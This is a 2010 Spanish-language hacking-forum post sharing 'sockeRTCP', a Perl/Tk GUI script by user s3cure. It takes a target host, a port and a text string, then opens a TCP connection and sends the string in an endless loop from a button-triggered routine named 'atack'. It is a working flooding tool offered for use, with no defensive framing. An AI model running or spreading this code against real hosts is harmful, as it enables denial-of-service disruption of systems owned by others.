ENTRAR EN EL FOROHACK ANTIGUO (Muchos temas viejos y de menor nivel)
08:50:07 04/12/2020
¿No estas registrado?
Login: Clave:
4 Usuarios en línea: 0 registrados, 4 invitados.
Conéctate y verás los usuarios en línea
Tema: sockeRTCP
    Responder
Todos Los Foros -> Perl / Phyton -> sockeRTCP
Autor Mensaje (Ver Versión para Imprimir)
s3cure
Usuario Enfermo
Arreglando las imágenes

Mensajes: 69
Registrad@:
07/01/2010
Estado: Desconectad@
sockeRTCP

Buenas:

Perlitas con TK. Se trata de un Sock (Envia sock de manera infinita {bucle}, para ports TCP.

Espero que lo puedan saber usar, es muy simple xD.

screenshot: http://img683.imageshack.us/img683/751/pantallazosockertcp.png

c0de:

CÓDIGO
      #!/usr/bin/perl
      ####################################
      # Hacking & Security Latin Team      #
      #                  - Illusions                #
      # hslteam.com! - illusions             #
      # c0dex by s3cure      #
      # sockeRTCP                                    #
      ####################################

      use IO::Socket;
      use Tk;

      system("clear");
      print "Console:\n";

      #configure
      my $win = MainWindow->new();
      $win->configure(-title => "sockeRTCP - Illusions", -background => "black");
      $win->geometry('+600+450');

      #frame1, label1 n entry1.
      my $frame1 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
      my $label1 = $frame1->Label(-text=> "Target:", -background => "black", -foreground => "white",)->pack(-side => 'left');
      my $ent1 = $frame1->Entry(-width => 12, -background => "white")->pack(-side => 'left', -pady => 3);

      #frame2, label2 n entry2.
      my $frame2 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
      my $label2 = $frame2->Label(-text=> "Port:", -background => "black", -foreground => "white",)->pack(-side => 'left');
      my $ent2 = $frame2->Entry(-width => 4, -background => "white")->pack(-side => 'left', -pady => 3);

      #frame3, label3 n entry3.
      my $frame3 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
      my $label3 = $frame3->Label(-text=> "Socket Print:", -background => "black", -foreground => "white",)->pack(-side => 'left');
      my $ent3 = $frame3->Entry(-width => 10, -background => "white")->pack(-side => 'left', -pady => 3);

      #button start
      $ataque = $frame3->Button(-text=>"SockeR",-command => \&atack)->pack(-side=>'bottom');

      #status
      my $frame4 = $win->Frame(-relief=>'groove', -background => "black",)->pack(-side => 'top', -fill => 'x');
      my $stat = $frame4->Text(-width => 38, -height => 1)->pack(-side=>'bottom');

      sub atack
      {
      #get vars
      $target = $ent1->get();
      $port = $ent2->get();
      $xz12 = $ent3->get();
      $sock = new IO::Socket::INET (
      PeerAddr => "$target",
      PeerPort => "$port",
      Proto => "TCP",
      );
      bucle:;
      print $sock "$xz12";
      goto bucle;
      }

      MainLoop();


      salu2, s3cure.




Creer que todo es genial para luego ver realidad.
09/01/2010 03:14:06 


REGÍSTRATE PARA PODER ENVIAR UN MENSAJE (tardas 20 segundos)

Copyright ForoHack.com